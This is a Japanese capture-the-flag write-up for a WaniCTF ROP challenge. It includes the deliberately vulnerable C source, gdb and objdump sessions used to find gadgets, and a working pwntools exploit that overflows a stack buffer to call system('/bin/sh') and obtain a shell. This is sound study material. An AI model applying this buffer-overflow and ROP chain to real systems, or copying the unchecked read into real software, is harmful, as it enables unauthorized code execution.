難しいことはまだわからない。作問者writeupをなぞってるだけだけど失敗した。いつかできるようになる。頑張る。 できた。
この問題では,Return Oriented Programming (ROP)を勉強できる。
ただし,グローバル変数に
char binsh[] = "/bin/sh";
があったり,main関数内に
system("echo Welcome to rop function call!!!");
があるなど,まだまだ訓練専用の「仕込み」がふんだんにあるコードだ。
目標
レジスタ | 値 |
---|---|
RDI | "/bin/sh"のアドレス |
RSI | 0x0 |
の状態でretでsystem関数に飛ばす |
スタック設計図
| pop rdi ; ret ; |
+--------------------+
| "/bin/sh" |
+--------------------+
| pop rsi ; ret ; |
+--------------------+
| 0x0 |
+--------------------+
| system@plt |
攻撃コード
import pwn
#io = pwn.remote("rop.wanictf.org", 9006)
io = pwn.process("./pwn06")
ret = io.readuntil("What's your name?: ")
print(ret)
addr_binsh = 0x601080
addr_system_plt = 0x4006c0
addr_pop_rdi = 0x400a53
addr_pop_rsi = 0x400a51
# 0x400a51
# pop rsi
# pop r15 <--
# ret
s = b"A" * 22
s += pwn.p64(addr_pop_rdi)
s += pwn.p64(addr_binsh)
s += pwn.p64(addr_pop_rsi)
s += pwn.p64(0)
s += pwn.p64(0) # <-- "pop r15"
s += pwn.p64(addr_system_plt)
print(s)
io.send(s)
io.interactive()
問題
nc rop.wanictf.org 9006
x64の関数呼び出しと、Return Oriented Programming (ROP)を理解する必要があります。
x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDIに設定する必要があります。
pwntoolsを使わないと解くのは大変だと思います
念のためpwntoolsのサンプルプログラム「pwn06_sample.py」を載せておきました。
pwn06 pwn06.c も渡される
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char str_head[] = "hello ";
char str_tail[] = "!\n";
char binsh[] = "/bin/sh";
void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);
void vuln()
{
char name[10];
int ret;
printf("What's your name?: ");
ret = read(0, name, 0x100);
name[ret - 1] = 0;
write(0, str_head, strlen(str_head));
write(0, name, strlen(name));
write(0, str_tail, strlen(str_tail));
{ //for learning stack
register unsigned long rsp asm("rsp");
register unsigned long rbp asm("rbp");
debug_stack_dump(rsp, rbp);
}
}
int main()
{
init();
system("echo Welcome to rop function call!!!");
while (1)
{
vuln();
}
}
void init()
{
alarm(30);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
unsigned long i;
puts("\n***start stack dump***");
i = rsp;
while (i <= rbp + 32)
{
unsigned long *p;
p = (unsigned long *)i;
printf("0x%lx: 0x%016lx", i, *p);
if (i == rsp)
{
printf(" <- rsp");
}
else if (i == rbp)
{
printf(" <- rbp");
}
else if (i == rbp + 8)
{
printf(" <- return address");
}
printf("\n");
i += 8;
}
puts("***end stack dump***\n");
}
目標
Buffer Over Flow (BOF)を使ってROP (Return Oriented Programming)でsystem("/bin/sh")を呼ぶ
BOF
gdb で A の数を特定する
$ gdb -q ./pwn06
Reading symbols from ./pwn06...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x40089e
gdb-peda$ r
Starting program: /mnt/c/pwn06
Breakpoint 1, 0x000000000040089e in main ()
gdb-peda$ pdisass vuln
(略)
gdb-peda$ b *0x0000000000400826
Breakpoint 2 at 0x400826
gdb-peda$ c
Continuing.
[New process 885]
process 885 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x400826
あれれ,怒られた。
先生によると start 直後 set follow-fork-mode parent をする必要があるとのこと。
やり直す
$ gdb -q ./pwn06
Reading symbols from ./pwn06...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x40089e
gdb-peda$ r
Starting program: /mnt/c/pwn06
Breakpoint 1, 0x000000000040089e in main ()
ここで「forkしても親を追いかけ続ける」と宣言をする
gdb-peda$ set follow-fork-mode parent
main関数
gdb-peda$ pdisass
Dump of assembler code for function main:
0x000000000040089a <+0>: push rbp
0x000000000040089b <+1>: mov rbp,rsp
=> 0x000000000040089e <+4>: mov eax,0x0
0x00000000004008a3 <+9>: call 0x4008c0 <init>
0x00000000004008a8 <+14>: lea rdi,[rip+0x1e1] # 0x400a90
0x00000000004008af <+21>: call 0x4006c0 <system@plt>
0x00000000004008b4 <+26>: mov eax,0x0
0x00000000004008b9 <+31>: call 0x4007e7 <vuln>
0x00000000004008be <+36>: jmp 0x4008b4 <main+26>
End of assembler dump.
ねらい目は vuln からの戻りアドレス 0x4008be
vuln関数
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
=> 0x00000000004007e7 <+0>: push rbp
0x00000000004007e8 <+1>: mov rbp,rsp
0x00000000004007eb <+4>: sub rsp,0x10
0x00000000004007ef <+8>: lea rdi,[rip+0x282] # 0x400a78
0x00000000004007f6 <+15>: mov eax,0x0
0x00000000004007fb <+20>: call 0x4006d0 <printf@plt>
0x0000000000400800 <+25>: lea rax,[rbp-0xe]
0x0000000000400804 <+29>: mov edx,0x100
0x0000000000400809 <+34>: mov rsi,rax
0x000000000040080c <+37>: mov edi,0x0
0x0000000000400811 <+42>: call 0x4006f0 <read@plt>
0x0000000000400816 <+47>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400819 <+50>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040081c <+53>: sub eax,0x1
0x000000000040081f <+56>: cdqe
0x0000000000400821 <+58>: mov BYTE PTR [rbp+rax*1-0xe],0x0
0x0000000000400826 <+63>: lea rdi,[rip+0x200843] # 0x601070 <str_head>
0x000000000040082d <+70>: call 0x4006a0 <strlen@plt>
0x0000000000400832 <+75>: mov rdx,rax
0x0000000000400835 <+78>: lea rsi,[rip+0x200834] # 0x601070 <str_head>
0x000000000040083c <+85>: mov edi,0x0
0x0000000000400841 <+90>: call 0x400690 <write@plt>
0x0000000000400846 <+95>: lea rax,[rbp-0xe]
0x000000000040084a <+99>: mov rdi,rax
0x000000000040084d <+102>: call 0x4006a0 <strlen@plt>
0x0000000000400852 <+107>: mov rdx,rax
0x0000000000400855 <+110>: lea rax,[rbp-0xe]
0x0000000000400859 <+114>: mov rsi,rax
0x000000000040085c <+117>: mov edi,0x0
0x0000000000400861 <+122>: call 0x400690 <write@plt>
0x0000000000400866 <+127>: lea rdi,[rip+0x20080a] # 0x601077 <str_tail>
0x000000000040086d <+134>: call 0x4006a0 <strlen@plt>
0x0000000000400872 <+139>: mov rdx,rax
0x0000000000400875 <+142>: lea rsi,[rip+0x2007fb] # 0x601077 <str_tail>
0x000000000040087c <+149>: mov edi,0x0
0x0000000000400881 <+154>: call 0x400690 <write@plt>
0x0000000000400886 <+159>: mov rdx,rbp
0x0000000000400889 <+162>: mov rax,rsp
0x000000000040088c <+165>: mov rsi,rdx
0x000000000040088f <+168>: mov rdi,rax
0x0000000000400892 <+171>: call 0x40090d <debug_stack_dump>
0x0000000000400897 <+176>: nop
0x0000000000400898 <+177>: leave
0x0000000000400899 <+178>: ret
End of assembler dump.
readの後,文字列の末尾に 0x00 を設定した後の 0x0000000000400826 にブレークポイント
gdb-peda$ b *0x0000000000400826
Breakpoint 3 at 0x400826
gdb-peda$ c
Continuing.
Program received signal SIGALRM, Alarm clock.
What's your name?:
ここで AAA を入力
AAA と 0x4008be がスタックに見えてる
詳細に
gdb-peda$ x/10gx 0x7ffffffee280
#ROP
先生によると
RDI = /bin/shのアドレス
RSI = 0
の状態にしてsystem関数のアドレスに飛ばせばシェルを呼び出せる
とのこと。
ROPに必要なパーツ
文字列"/bin/sh" のアドレス
system@plt のアドレス
pop rdi ; ret ; のアドレス
pop rsi ; ret ; のアドレス
文字列"/bin/sh"のアドレス
$ gdb -q ./pwn06
gdb-peda$ p &binsh
$3 = (<data variable, no debug info> *) 0x601080 <binsh>
0x601080
system@plt のアドレス
$ objdump -d -M intel ./pwn06 | grep system
00000000004006c0 <system@plt>:
4006c0: ff 25 7a 09 20 00 jmp QWORD PTR [rip+0x20097a] # 601040 <system@GLIBC_2.2.5>
4008af: e8 0c fe ff ff call 4006c0 <system@plt>
4006c0 ですね
pop rdi ; ret ; のアドレス
ROPgadgetというのがインストールできなかった。
よって,Linux x86 Opcode を参照し,pop rdi の マシン語 が 5f とわかったので検索した。
$ objdump -d -M intel ./pwn06 | grep 5f
4009d1: 0f 86 5f ff ff ff jbe 400936 <debug_stack_dump+0x29>
400a52: 41 5f pop r15
pop rsi ; ret ; のアドレス
5e を探せ
$ objdump -d -M intel ./pwn06 | grep 5e
40065e: c3 ret
400705: 5e pop rsi
400a50: 41 5e pop r14
ret までワンクッションあり,工夫は必要だが,400a51 でいけそう
目標達成に必要なパーツ
文字列"/bin/sh" のアドレス 0x601080
system@plt のアドレス 0x4006c0
pop rdi のアドレス 0x400a53
pop rsi のアドレス 0x400a51
スタックの予想図
0x400a53 pop rdi ; ret ; のアドレス
0x601080 rdiに入れる文字列"/bin/sh" のアドレス
0x400a51 pop rsi ; pop r15 ; ret ; のアドレス
0x0 rsi に入れる0x0
0x0 pop r15用(意味はないが仕方なく)でも次のretでsystem@plt発動
0x4006c0 system@pltのアドレス
攻撃してみる
$ python -c "from pwn import *; print 'A'*(22)+p64(0x400a53)+p64(0x601080)+p64(0x400a51)+p64(0x0)+p64(0x0)+p64(0x4006c0)" | ./pwn06
Welcome to rop function call!!!
What's your name?:
***start stack dump***
0x7ffff7dc8370: 0x4141414141410000 <- rsp
0x7ffff7dc8378: 0x0000004741414141
0x7ffff7dc8380: 0x4141414141414141 <- rbp
0x7ffff7dc8388: 0x0000000000400a53 <- return address
0x7ffff7dc8390: 0x0000000000601080
0x7ffff7dc8398: 0x0000000000400a51
0x7ffff7dc83a0: 0x0000000000000000
***end stack dump***
Segmentation fault (core dumped)
アリ?失敗した。何でだろう?
成功した攻撃コード
import pwn
#io = pwn.remote("rop.wanictf.org", 9006)
io = pwn.process("./pwn06")
ret = io.readuntil("What's your name?: ")
print(ret)
addr_binsh = 0x601080
addr_system_plt = 0x4006c0
addr_pop_rdi = 0x400a53
addr_pop_rsi = 0x400a51
# 0x400a51
# pop rsi
# pop r15 <--
# ret
s = b"A" * 22
s += pwn.p64(addr_pop_rdi)
s += pwn.p64(addr_binsh)
s += pwn.p64(addr_pop_rsi)
s += pwn.p64(0)
s += pwn.p64(0) # <-- "pop r15"
s += pwn.p64(addr_system_plt)
print(s)
io.send(s)
io.interactive()
実行結果
$ python pwn06.py
[+] Starting local process './pwn06': pid 146
Welcome to rop function call!!!
What's your name?:
AAAAAAAAAAAAAAAAAAAAAAS
@\x00\x00\x00\x10\x00\x00\x00
@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00
[*] Switching to interactive mode
***start stack dump***
0x7ffff47af2f0: 0x4141414141410000 <- rsp
0x7ffff47af2f8: 0x0000004641414141
0x7ffff47af300: 0x4141414141414141 <- rbp
0x7ffff47af308: 0x0000000000400a53 <- return address
0x7ffff47af310: 0x0000000000601080
0x7ffff47af318: 0x0000000000400a51
0x7ffff47af320: 0x0000000000000000
***end stack dump***
$ ls
Linux x86-opcode-map
作問者writeup